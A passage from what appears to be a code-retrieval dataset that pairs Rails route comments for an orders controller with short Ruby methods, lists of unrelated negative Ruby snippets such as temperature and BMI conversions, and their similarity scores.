\n\t\t@peso/(@talla*@talla)\n\tend", "def huella_nutricional\n (valor_calorico() + huella_carbono()) / 2\n end", "def calculo \n self.minutos_reales = 5 * 480 #cantidad de OPERARIOS * Jornada de Trabajo(Turnos)\n self.costo_minuto = 89 #Costo Real por minuto\n self.otros_costos = 540 * 89 #Tiempo Total(Minutos) * Costo Real por Minutos\n self.costo_mano_obra = 420 * 5 * 89 # Jornada Minutos * Cantidad Operarios * Costo Real por minutos \n self.manoObraPlaneada = 650.000 * 5 # Salario Total * Cantidad de operarios \n end", "def ftoc(temp_fahren)\n temp_celsius = (temp_fahren - 32.0) * 5.0 / 9.0\nend", "def exp_rate; CPanel::EXPRATE; end", "def in_celsius\n (@fahrenheit - 32) * (5.0/9.0)\n end", "def porcentaje_graso\n (1.2*calcular_imc)+(0.23*@edad)-(10.8*@sexo)-5.4\n end", "def grilleSuivante()\n @grilleRaz = nil\n return nil\n end", "def precio\n\t\t@precio\n\tend", "def test_soma_100_200\n\t\tassert_equal(300, Calculadora.new(100,200).soma)\n\tend", "def getCasillaActual\n return @tablero.getCasilla(@jugadores.at(@indiceJugadorActual).numCasillaActual)\n end", "def oben() \n return @fahrbahn.obere_linke_ecke().y() \n end", "def calculoIMC(peso, altura)\n return '%.2f' % (peso.to_f/(altura.to_f * altura.to_f))\nend", "def indice_masa_corporal\n\t\t(peso / (talla * talla) * 10000).round(1)\n\tend", "def celebration; end", "def sec() end", "def get_eficiencia_anual\n\t\tif $eficiencia_diaria == 0.0\n\t\t\t$eficiencia_anual = get_eficiencia_diaria * 365\n\t\telse\n\t\t\t$eficiencia_anual = $eficiencia_diaria * 365\n\t\tend\n\t\t$eficiencia_anual = $eficiencia_anual.ceil(2)\n\tend", "def current_exp\n self.experience % 100\n end", "def factor eot\r\n eot.ajd = Date.parse(\"2000-01-01\").jd \r\n tlaa = eot.tl_Aries()\r\n eot.ajd = eot.ajd + 1\r\n tlab = eot.tl_Aries()\r\n dif = (tlab - tlaa) * Eot::R2D \r\n f1 = dif / 360.0 + 1 \r\n 1 / f1\r\nend", "def carm_curriculum\n carm.curriculum\nend", "def cardinal; end", "def convert_tocelsius(fahrenheit)\n # return (fahrenheit - 32) * (5/9)\n return fahrenheit*5/9 - 32*5/9 \nend", "def simplificar (fraccion)\n mcd = gcd(fraccion.numerador, fraccion.denominador)\n Fraccion.new( fraccion.numerador/mcd , fraccion.denominador/mcd)\n \n \n end", "def ftoc(fahrenheit)\n\tcelsius = ((5/9.to_f) * (fahrenheit - 32)).to_i\nend", "def ctof(celsius)\n (celsius * 9/5.to_f) + 32\nend", "def to_celsius(degree_farhenheit)\n celsius = (degree_farhenheit - 32.0) * 5/9\nend", "def cosine\n\tcosine of 120 degrees is -.5\n\ta2 = c2 + b2 - 2bc cos A, (this is important to use)\n\tis it a triange? (a+b > c && a+c > b && b+c > a)\nend", "def fahrenheit\n \"#{((self * 1.8) + 32).round(1)}° F\"\n end", "def celcius(fahrenheit)\n\t(fahrenheit - 32) * 5 / 9\nend", "def ctof(ctemp)\n32.0+(ctemp*9.0/5.0)\nend", "def in_celsius\n \t@c ? @c : (@f - 32) * 5.0 / 9.0\n end", "def reciprocal\nFraccionario.new(@den, @num)\nend", "def ftoc(fahrenheit)\n\n (fahrenheit - 32) * 5/9\n\nend", "def gecos(*) end", "def huella_carbono\n if geidiario() < 800\n return 1\n end\n if geidiario() > 1200\n return 3\n else\n return 2\n end\n end", "def to_celsius(fahrenheit)\n (fahrenheit - 32) * (5.0 / 9.0)\nend", "def valorizacao\n \t\tif self.tipo_de_operacao.compra?\n ((self.atual - self.entrada) / self.entrada) * 100.0\n else\n ((self.entrada - self.atual) / self.atual ) * 100.0\n end\n \tend", "def gregorian\n end", "def cen(num)\n cen = (((num -1) / 100) + 1)\n cen\nend", "def getPrecioVenta\n precio = (cantidadCasasHoteles) *(@precioCompra +@precioEdificar) *@factorRevalorizacion \n return precio\n end", "def nouveau_prix\n nouveau_prix = 0\n if(!bouteille.nil?)\n nouveau_prix = bouteille.prix\n nouveau_prix = nouveau_prix * (1 - (rabais/100)) if rabais?\n end\n ActionController::Base.helpers.number_to_currency(nouveau_prix, unit: \"\", separator: \".\", delimiter: \"\", format: \"%n\")\n end", "def matricula\n end", "def test_fahrenheit_to_celsius()\n result = farenheit_to_celsius(32)\n assert_equal(0,result)\n end", "def centi\n big_self * CENTI\n end", "def genclase\n \"M\"\n end", "def prec_i() end", "def reciprocal ()\n\tFraccion.new(@denominador,@numerador)\n end", "def fahrenheit_to_celsius(fahernheit)\n answer = (fahernheit - 32)*(5.0/9.0)\n return answer.round(1)\nend", "def clasificar\n if @sal <= 1\n \"poca\" \n elsif @sal > 1 and @sal <= 2\n \"media\"\n elsif @sal > 2\n \"mucha\"\n end\n end", "def deaf_grandma\nend", "def cad(cents); end", "def calcula_imc\n \n if @peso/@altura*@altura < 18\n puts \"vc esta magro\"\n elsif @peso/@altura*@altura <= 25\n puts \"vc esta no peso ideal\"\n elsif @peso/@altura*@altura > 25\n puts \"vc esta acima do peso\"\n end\n \n end", "def cosine_al_Sun() \r\n cos( al(@ma, @ta, Celes.faom03(@ta)) ) \r\n end", "def money; end", "def c_to_f(celsius)\n fahrenheit = (celsius * (9.0 / 5.0)) + 32\n puts fahrenheit\nend" ]
[ "0.66516244", "0.6460547", "0.6408922", "0.6303441", "0.6296627", "0.62791747", "0.62757325", "0.6271196", "0.6256546", "0.6215393", "0.6199035", "0.6197202", "0.6193948", "0.616021", "0.6142314", "0.6141753", "0.6141748", "0.61345625", "0.6072196", "0.60616326", "0.60479325", "0.60331404", "0.6001063", "0.5976136", "0.596548", "0.59126437", "0.59091586", "0.59078205", "0.58969545", "0.58969545", "0.5887254", "0.58861566", "0.58702534", "0.5868345", "0.58667886", "0.58659285", "0.58631176", "0.58560884", "0.58335876", "0.5823353", "0.58150834", "0.58043116", "0.57896847", "0.578908", "0.5788255", "0.57835585", "0.5768436", "0.5764481", "0.57483375", "0.57455677", "0.57410616", "0.5732424", "0.57230806", "0.57065207", "0.57039106", "0.56997406", "0.56939936", "0.56909543", "0.5679998", "0.5679773", "0.56709164", "0.5668197", "0.5667242", "0.56637555", "0.5654774", "0.5650749", "0.5649523", "0.56485873", "0.5647611", "0.5647539", "0.56468374", "0.5639802", "0.56283927", "0.5627828", "0.56264883", "0.5624775", "0.56203485", "0.56190866", "0.56074196", "0.5601793", "0.5593463", "0.5591318", "0.558697", "0.5578969", "0.55769694", "0.557581", "0.5571964", "0.5563589", "0.55585456", "0.55558515", "0.55508786", "0.5550051", "0.55429095", "0.5531623", "0.5531502", "0.55260515", "0.5525667", "0.55223286", "0.5512487", "0.5512004", "0.55018324" ]
0.0
-1
GET /orders GET /orders.json
def index @customer = current_customer @orders = current_customer.orders.all.order(created_at: :desc) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end", "def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end", "def index\n @orders = Order.all\n render json: @orders\n end", "def index\n @orders = Order.all\n render json: @orders, status: 200\n end", "def orders\n authenticated_post(\"orders\").body\n end", "def orders\n authenticated_post(\"auth/r/orders\").body\n end", "def index\n @orders = Order.order(\"id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n respond_to do |format|\n format.html\n format.json { render :json => @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend", "def index\n #@orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def get_orders\n return ShopifyAPI::Order.all\n end", "def index\n\t\t@orders = Order.all\n\t\trespond_with @orders\n\tend", "def listOrders()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n ret = []\n Order.find_each do |order|\n ret << {id: order.id, product_id: order.product_id, product_name: Product.find(order.product_id).name, user_id: order.user_id, quantity: order.quantity, price_per_unit: order.price_per_unit, int_status: order.order_status}\n end\n render json: {data: ret.to_json, reason: '', status: true}\n end", "def index\n @orders = Order.all\n if @orders.count >= 1\n json_response(@orders)\n else\n json_response({ Message: Message.no_data }, :not_found)\n end\n end", "def recent_orders()\n\t\twith_auth nil do |options|\n\t\t\tself.class.get(\"/api/v1/orders\", options)\n \tend\n\tend", "def index\n @orders = Order.all\n render json: { status: 'SUCCESS', message: 'Loaded posts', data: @orders }\n end", "def show\n render json: @order\n end", "def show\n render json: @order\n end", "def index\n @orders = Order.paginate page: params[:page], order: 'created_at desc', \n per_page: 10\n \n respond_to do |format|\n format.html\n format.json { render json: @orders } \n end\n end", "def index\n @power_orders = PowerOrder.all\n render json: @power_orders\n end", "def show\n order = Order.find(params[:id])\n render json: order\n end", "def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end", "def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @admin_orders = Order.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_orders }\n end\n end", "def orders(params = {})\n get('/market/orders', params)\n .map { |data| build_persisted_order data }\n end", "def show\n @order = Order.find(params[:id])\n\n render json: @order\n end", "def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end", "def all_orders(options)\n request :account, :get, 'allOrders', options\n end", "def index\n @orders = @group.orders\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index # see model > order.rb\n # if current_user\n @orders = current_user.orders\n render \"index.json.jb\"\n # else\n # render json: [], status: :unauthorized\n # end\n end", "def get_orders\n orders\n end", "def index\n @orders = order.all\n end", "def show\n @order = Order.find(params[:id])\n\n render json: @order, status: :ok\n\n end", "def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend", "def index\n @orders = @orders.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = @branch.orders.limit(100).paginate(:page=>params[:page], :per_page=>20)\n logger.debug @orders.inspect\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = index_resources\n respond_with(@orders)\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show_orders\n @user = User.find_by_sql [\"select * from users where email = ? and users.status = 'admin'\", params[:email]]\n if @user.count != 0\n @orders = UsersOrder.find_by_sql [\"select users_orders.id, users.email, books.title, books.genre from users_orders\n LEFT JOIN users ON users_orders.user_id = users.id\n LEFT JOIN books ON users_orders.book_id = books.id where users_orders.status = ? ORDER BY users_orders.created_at ASC\", params[:status]]\n end\n render json: @orders\n end", "def index\n @line_items = @order.line_items\n\n render json: @line_items\n end", "def index\n @orders = Order.all\n end", "def orders\n resp = API.connection.get 'api/orders', {\n user_email: @email,\n user_token: @token\n }\n\n case resp.status\n when 200\n resp.body.map { |order_hash| Order.new(order_hash) }\n when 401\n raise Teachable::AuthError, resp.body['error']\n else\n raise Teachable::Error, 'Unknown response.'\n end\n end", "def customer_single_orders\n @orders = Order.where(customer_id: current_user.customer_id, category: :single)\n render json: @orders, status: 200\n\n end", "def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end", "def index\n @orders = Order.all\n respond_to do |format|\n format.html { render layout: \"account\" }\n format.json { render :json => @orders }\n end\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @order }\n end\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @order }\n end\n end", "def index\n @orders = Order.all\n end", "def orders(id, orderid = nil)\n get(\"/accounts/#{id}/orders#{orderid ? \"/#{orderid}\" : ''}\")['orders']\n end", "def show\n \n @order = Order.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n \n end \n end", "def index \n @orders = Order.all \n end", "def searchByOrder\n \torderId = params['id']\n\t order = Order.where(id: orderId)\n\t render json: order, status: 200\n\tend", "def index # class method\n @orders = Order.all\n end", "def index # class method\n @orders = Order.all\n end" ]
[ "0.83267236", "0.815406", "0.80041754", "0.7947603", "0.7846487", "0.7823147", "0.78028905", "0.76992875", "0.76980406", "0.7682792", "0.7682792", "0.7682792", "0.7682792", "0.76827645", "0.75880665", "0.7574349", "0.756171", "0.7531827", "0.74860185", "0.7432208", "0.7369724", "0.73326814", "0.73287463", "0.73287463", "0.7286546", "0.72852486", "0.7270603", "0.7269312", "0.7264207", "0.72581947", "0.72464883", "0.72452116", "0.7238898", "0.7233591", "0.7217645", "0.72125256", "0.7156275", "0.7141881", "0.7086836", "0.70671874", "0.70659137", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70640796", "0.70595765", "0.70301193", "0.70267373", "0.70247364", "0.70047027", "0.69968164", "0.6988875", "0.6972612", "0.69694895", "0.6966311", "0.696538", "0.696538", "0.6957052", "0.69567907", "0.6946388", "0.6917995", "0.69107455", "0.69074893", "0.69074893" ]
0.0
-1
GET /orders/1 GET /orders/1.json
def show @customer = current_customer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end", "def index\n @orders = Order.all\n render json: @orders\n end", "def index\n @orders = Order.all\n render json: @orders, status: 200\n end", "def index\n @orders = Order.order(\"id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n if @orders.count >= 1\n json_response(@orders)\n else\n json_response({ Message: Message.no_data }, :not_found)\n end\n end", "def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend", "def show\n order = Order.find(params[:id])\n render json: order\n end", "def show\n @order = Order.find(params[:id])\n\n render json: @order\n end", "def index\n\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end", "def index\n @orders = Order.all\n respond_to do |format|\n format.html\n format.json { render :json => @orders }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n render json: @order, status: :ok\n\n end", "def show\n @v1_order = V1::Order.find(params[:id])\n\n if @v1_order.nil?\n render json: @v1_order, message: 'Resource not found', status: 404\n else\n render json: @v1_order, message: 'OK', status: 200\n end\n end", "def index\n #@orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def customer_single_orders\n @orders = Order.where(customer_id: current_user.customer_id, category: :single)\n render json: @orders, status: 200\n\n end", "def show\n render json: @order\n end", "def show\n render json: @order\n end", "def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend", "def show\n \n @order = Order.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n \n end \n end", "def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end", "def index\n\t\t@orders = Order.all\n\t\trespond_with @orders\n\tend", "def show\n @order1 = Order1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order1 }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end", "def orders\n authenticated_post(\"orders\").body\n end", "def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @order }\n end\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @order }\n end\n end", "def orders\n authenticated_post(\"auth/r/orders\").body\n end", "def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=>@order }\n end\n end", "def show\n @order = Order.find(params[:id])\n @title = \"Order #{@order.id}\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def recent_orders()\n\t\twith_auth nil do |options|\n\t\t\tself.class.get(\"/api/v1/orders\", options)\n \tend\n\tend", "def show\n #@order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n if @order\n respond_to do |format|\n format.html { @order }\n format.json { render json: @order.to_json(include: [:status, :package, :discount]) }\n end\n else\n redirect_to orders_path, notice: \"Order ID not found for that client.\"\n end\n end", "def index\n @orders = @group.orders\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @power_orders = PowerOrder.all\n render json: @power_orders\n end", "def index\n @admin_orders = Order.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_orders }\n end\n end", "def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end", "def retrieve_order(order_id:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/orders/{order_id}',\n 'default')\n .template_param(new_parameter(order_id, key: 'order_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def index # see model > order.rb\n # if current_user\n @orders = current_user.orders\n render \"index.json.jb\"\n # else\n # render json: [], status: :unauthorized\n # end\n end", "def index\n @orders = Order.paginate page: params[:page], order: 'created_at desc', \n per_page: 10\n \n respond_to do |format|\n format.html\n format.json { render json: @orders } \n end\n end", "def index\n @line_items = @order.line_items\n\n render json: @line_items\n end", "def index\n @orders = order.all\n end", "def searchByOrder\n \torderId = params['id']\n\t order = Order.where(id: orderId)\n\t render json: order, status: 200\n\tend", "def get_order(order_id)\n res = request('get', \"https://#{orders_path}/#{order_id}\")\n parse_response res\n end", "def show\n @order = Order.find(request[:order_id])\n @order_item = @order.order_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order_item }\n end\n end", "def index\n @orders = Order.all\n render json: { status: 'SUCCESS', message: 'Loaded posts', data: @orders }\n end", "def fetch\n @order = Order.where(owner_id: current_user.branch.nodes.pluck(:id)).order('orders.quantity').last\n\n render json: {id: @order.id, quantity: @order.quantity,\n date: @order.created_at.strftime('%d/%m/%Y'),\n time: @order.created_at.strftime('%p %I:%M'),\n destination: \"#{t('fridge')} - #{@order.owner_id}\"\n }, status: :ok\n end", "def get(order_id)\n get_request(t_url(:order, order_id))\n end", "def get_order\n @order = Order.find(params[:id])\n end", "def get_order\n @order = Order.find(params[:id])\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end" ]
[ "0.7554187", "0.7488565", "0.7475228", "0.73777765", "0.73714006", "0.7341344", "0.73384553", "0.73168725", "0.73018956", "0.7291244", "0.7291244", "0.7291244", "0.7291244", "0.72911215", "0.7281374", "0.7266143", "0.72498786", "0.7228276", "0.7213504", "0.71842283", "0.7126197", "0.7126197", "0.70958656", "0.70884424", "0.7045333", "0.7017131", "0.701173", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.7005317", "0.69797677", "0.6975385", "0.6963179", "0.69519156", "0.6920044", "0.6920044", "0.69116527", "0.6907297", "0.6903982", "0.6889989", "0.6880894", "0.68711925", "0.6852713", "0.68315697", "0.68302864", "0.68285227", "0.68220717", "0.6819676", "0.6808189", "0.67916673", "0.678832", "0.67851156", "0.6750148", "0.6737865", "0.6725011", "0.671648", "0.6706029", "0.67034036", "0.67034036", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405", "0.66981405" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_order @order = Order.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? 